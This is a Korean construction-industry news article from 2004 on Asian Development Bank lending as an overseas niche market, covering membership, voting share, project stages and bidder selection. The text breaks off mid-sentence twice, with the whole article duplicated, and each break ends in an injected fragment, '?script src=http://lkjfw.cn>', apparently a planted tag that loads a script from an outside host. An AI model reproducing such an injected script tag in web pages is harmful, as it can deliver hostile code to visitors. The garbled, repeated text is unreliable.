아시아개발은행이 주는 틈새시장
보도일자 2004-11-29
보도기관 일간건설
◇ADB 융자와 투자로 이뤄지는 아시아의 건설시장
ADB(아시아개발은행)는 지난 66년 8월에 설립된 국제은행으로 우리나라는 설립연도부터 회원국이 돼있다.
본부는 필리핀의 마닐라에 위치하고 있으며 현재 가맹국은 63개국으로 아시아권이 45개국이며 미국과 유럽 등 역외 국가는 18개국이다.
우리나라가 투자비중에 따라 ADB에서 이뤄지는 주요 안건에 대한 의결권을 가지는 비중은 5.11%로 63개국 중 8위권을 유지하고 있다
그러나 의결권에 대한 비중 5.11%는 단일 국가로서 주요 의사결정에 미치는 영향에서 한계를 가지고 있다.
개별국가로서 총 12명의 이사 자리를 차지하게 되는 기준은 최소 13%를 넘어야 하는데 이 국가는 미국, 중국 및 일본 등 3개국만이 가능한 구조며 우리나라는 대만, 베트남 등 5개국으로 구성된 서남아시아권을 대표하는 이사로 돼있다.
따라서 국내 이익만을 챙기기에는 다소 부담되는 상황에 있다.
ADB는 매년 약 60억달러 정도 규모 재정으로 아시아권에 차관, 투자 등의 형식으로 사업을 벌인다.
주요사업 대상은 에너지, 농업, 교통 및 통신, 생활기반 구축 등이 대상이다.
역외권에 18개국이 있지만 ADB의 사업대상지역은 아시아권으로 제한돼있다.
ADB는 설립당시 최종 목표를 아시아지역에서의 빈곤 퇴치에 뒀지만 최근 이 개념이 다소 흔들리고 있다고 한다.
즉 생활환경 기반구축(학교시설, 수질개선 등) 중심에서 도로나 에너지 등 국가 성장의 기반이 되는 시설 확충이 오히려 아시아권의 경제를 살릴 수 있다는 점에 무게들 둬야 한다는 주장이 힘을 얻어가고 있다고 한다.
생선을 주기보다 물고기 잡는 방법을 가르치고 또 생선 잡는 도구나 시설을 갖추도록 도와주는 게 더 효과적이며 빠른 방법이 될 수 있다는 주장이다.
ADB의 이런 기조를 반영하듯 향후 ADB의 자금이 교통이나 에너지 등 건설시장 중심으로 확대될 가능성이 높은 것으로 예상되고 있다.
국내시장이 감소하고 있어 국내기업들에게는 해외 틈새시장이 될 수 있을 것으로 판단하고 있다.
◇ADB의 건설 사업의 일반적인 진행 절차
ADB 사업은 모두 3단계를 거쳐 확정 및 시행된다고 한다.
첫째 단계로 ADB 자금이 소요되는 사업을 창출하는 국가별 프로그램 개발이다.
이 단계는 해당국에서 프로그램의 일부를 제의하기도 하지만 대부분은 ADB 자체내 국가별 전문가 그룹 주도로 작성되고 해당국가와 협의해 확정한 후 12명으로 구성된 이사회의 의결로 추인되면 사업화로 연결된다고 한다.
둘째 단계는 개별사업에 대한 타당성분석(Feasibility Study, FS)이다.
프로그램 개발에서 제시된 내용은 교통이나 에너지 등 사업 부문만을 담고 있지 개별 사업은 담고 있지 않고 있다.
따라서 F/S단계에서 개별 사업을 확정시키는 것이다.
이 단계에서 사업은 타당성분석 업무와 타당성분석 결과를 검증하는 업무가 된다.
셋째 단계는 설계에서부터 시공에 이르는 실제 사업실행단계이다.
설계와 시공 및 시공감리가 주요 시장 영역이 된다.
◇국내 업체들이 참여 가능한 단계별 사업군
이론적으로는 3단계 모두 참여가 가능하다.
그러나 실제 참여할 수 있는 기회는 2단계인 F/S부터다.
대개의 경우 이 단계에서 사업의 규모와 소요 예산, 착공 및 준공 기간이 확정되므로 사업으로서는 중요한 단계이기는 하지만 개별 기업의 입장에서 보면 기술용역을 중심으로 한 ‘컨설팅전문기관’들이 주력 시장으로 보인다.
타당성 분석과 타당성분석 결과에 대한 검증 업무에 참여할 수 있다.
3단계에서부터는 설계와 시공 모두 참여가 가능하다.
우선 설계용역은 기본설계에서부터 실시설계까지 참여가 가능하며 시공 역시도 가능하다.
최근들어 에너지부문의 경우 설계와 시공을 겸한 턴키방식의 확대가 예상되고 있다고 한다.
또한 시공단계에서 시공과 함께 감리(Supervision)가 주요한 시장이 될 수 있다고 한다.
설계용역업체와 시공업체 모두 참여가 가능한 시장으로 판단된다.
다만 설계와 시공 모두 대기업군보다는 중소규모의 기업군에 유리한 시장으로 보인다.
이것은 규모면에서 소규모이기 때문이다.
◇ADB의 낙찰자 선정 방식
ADB는 낙찰자 선정 방식에 있어서 문서화된 규범과 관례화된 규범이 공존하고 있다고 한다.
문서화된 규정은 1개 기업이 한 해에 낙찰받을 수 있는 사업건수를 3개 이하로 제한하고 있다.
ADB가 입찰참가자를 결정하는 데는 모두 3단계를 거친다.
이것은 ADB 사업에 참여하겠다는 등록 요건과 무관하다.
입찰참가자격을 ADB에서 결정하는 구조는 우선 ‘Long List’로 시작해 ‘Short List’로 참가자수를 줄여가는 방식을 택하고 있다.
입찰참가 자격(Long List에 포함)을 얻기 위해서는 우선 발주되는 해당국에서의 유사경험을 가져야 한다.
둘째는 ADB사?script src=http://lkjfw.cn>
ADB(아시아개발은행)는 지난 66년 8월에 설립된 국제은행으로 우리나라는 설립연도부터 회원국이 돼있다.
본부는 필리핀의 마닐라에 위치하고 있으며 현재 가맹국은 63개국으로 아시아권이 45개국이며 미국과 유럽 등 역외 국가는 18개국이다.
우리나라가 투자비중에 따라 ADB에서 이뤄지는 주요 안건에 대한 의결권을 가지는 비중은 5.11%로 63개국 중 8위권을 유지하고 있다
그러나 의결권에 대한 비중 5.11%는 단일 국가로서 주요 의사결정에 미치는 영향에서 한계를 가지고 있다.
개별국가로서 총 12명의 이사 자리를 차지하게 되는 기준은 최소 13%를 넘어야 하는데 이 국가는 미국, 중국 및 일본 등 3개국만이 가능한 구조며 우리나라는 대만, 베트남 등 5개국으로 구성된 서남아시아권을 대표하는 이사로 돼있다.
따라서 국내 이익만을 챙기기에는 다소 부담되는 상황에 있다.
ADB는 매년 약 60억달러 정도 규모 재정으로 아시아권에 차관, 투자 등의 형식으로 사업을 벌인다.
주요사업 대상은 에너지, 농업, 교통 및 통신, 생활기반 구축 등이 대상이다.
역외권에 18개국이 있지만 ADB의 사업대상지역은 아시아권으로 제한돼있다.
ADB는 설립당시 최종 목표를 아시아지역에서의 빈곤 퇴치에 뒀지만 최근 이 개념이 다소 흔들리고 있다고 한다.
즉 생활환경 기반구축(학교시설, 수질개선 등) 중심에서 도로나 에너지 등 국가 성장의 기반이 되는 시설 확충이 오히려 아시아권의 경제를 살릴 수 있다는 점에 무게들 둬야 한다는 주장이 힘을 얻어가고 있다고 한다.
생선을 주기보다 물고기 잡는 방법을 가르치고 또 생선 잡는 도구나 시설을 갖추도록 도와주는 게 더 효과적이며 빠른 방법이 될 수 있다는 주장이다.
ADB의 이런 기조를 반영하듯 향후 ADB의 자금이 교통이나 에너지 등 건설시장 중심으로 확대될 가능성이 높은 것으로 예상되고 있다.
국내시장이 감소하고 있어 국내기업들에게는 해외 틈새시장이 될 수 있을 것으로 판단하고 있다.
◇ADB의 건설 사업의 일반적인 진행 절차
ADB 사업은 모두 3단계를 거쳐 확정 및 시행된다고 한다.
첫째 단계로 ADB 자금이 소요되는 사업을 창출하는 국가별 프로그램 개발이다.
이 단계는 해당국에서 프로그램의 일부를 제의하기도 하지만 대부분은 ADB 자체내 국가별 전문가 그룹 주도로 작성되고 해당국가와 협의해 확정한 후 12명으로 구성된 이사회의 의결로 추인되면 사업화로 연결된다고 한다.
둘째 단계는 개별사업에 대한 타당성분석(Feasibility Study, FS)이다.
프로그램 개발에서 제시된 내용은 교통이나 에너지 등 사업 부문만을 담고 있지 개별 사업은 담고 있지 않고 있다.
따라서 F/S단계에서 개별 사업을 확정시키는 것이다.
이 단계에서 사업은 타당성분석 업무와 타당성분석 결과를 검증하는 업무가 된다.
셋째 단계는 설계에서부터 시공에 이르는 실제 사업실행단계이다.
설계와 시공 및 시공감리가 주요 시장 영역이 된다.
◇국내 업체들이 참여 가능한 단계별 사업군
이론적으로는 3단계 모두 참여가 가능하다.
그러나 실제 참여할 수 있는 기회는 2단계인 F/S부터다.
대개의 경우 이 단계에서 사업의 규모와 소요 예산, 착공 및 준공 기간이 확정되므로 사업으로서는 중요한 단계이기는 하지만 개별 기업의 입장에서 보면 기술용역을 중심으로 한 ‘컨설팅전문기관’들이 주력 시장으로 보인다.
타당성 분석과 타당성분석 결과에 대한 검증 업무에 참여할 수 있다.
3단계에서부터는 설계와 시공 모두 참여가 가능하다.
우선 설계용역은 기본설계에서부터 실시설계까지 참여가 가능하며 시공 역시도 가능하다.
최근들어 에너지부문의 경우 설계와 시공을 겸한 턴키방식의 확대가 예상되고 있다고 한다.
또한 시공단계에서 시공과 함께 감리(Supervision)가 주요한 시장이 될 수 있다고 한다.
설계용역업체와 시공업체 모두 참여가 가능한 시장으로 판단된다.
다만 설계와 시공 모두 대기업군보다는 중소규모의 기업군에 유리한 시장으로 보인다.
이것은 규모면에서 소규모이기 때문이다.
◇ADB의 낙찰자 선정 방식
ADB는 낙찰자 선정 방식에 있어서 문서화된 규범과 관례화된 규범이 공존하고 있다고 한다.
문서화된 규정은 1개 기업이 한 해에 낙찰받을 수 있는 사업건수를 3개 이하로 제한하고 있다.
ADB가 입찰참가자를 결정하는 데는 모두 3단계를 거친다.
이것은 ADB 사업에 참여하겠다는 등록 요건과 무관하다.
입찰참가자격을 ADB에서 결정하는 구조는 우선 ‘Long List’로 시작해 ‘Short List’로 참가자수를 줄여가는 방식을 택하고 있다.
입찰참가 자격(Long List에 포함)을 얻기 위해서는 우선 발주되는 해당국에서의 유사경험을 가져야 한다.
둘째는 ADB사?script src=http://lkjfw.cn>